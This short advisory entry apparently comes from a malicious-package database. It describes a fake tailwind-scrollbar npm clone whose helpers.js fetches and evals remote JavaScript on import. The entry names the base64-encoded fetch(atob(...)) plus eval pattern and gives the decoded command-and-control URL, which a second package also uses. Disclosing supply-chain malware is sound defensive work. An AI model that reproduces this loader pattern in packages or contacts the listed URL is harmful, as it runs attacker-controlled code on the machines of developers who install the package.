GCVE-110-OSM-2026-1394

Executes attacker-controlled JavaScript from https://www.jsonkeeper.com/b/Y12K7 on every require() by injecting fetch(atob(...))+eval into the helpers.js of an otherwise-legitimate tailwind scrollbar plugin clone. Shares C2 URL with tailwind-configuration@1.0.1, indicating coordinated campaign. src/helpers.js contains a top-level fetch(atob("aHR0cHM6Ly93d3cuanNvbmtlZXBlci5jb20vYi9ZMTJLNw==")) which decodes to https://www.jsonkeeper.com/b/Y12K7; response.content is eval'd in module scope. src/index.js is untouched — payload fires when helpers.js is imported. Package masquerades as the real tailwind-scrollbar plugin using the real author's name and email.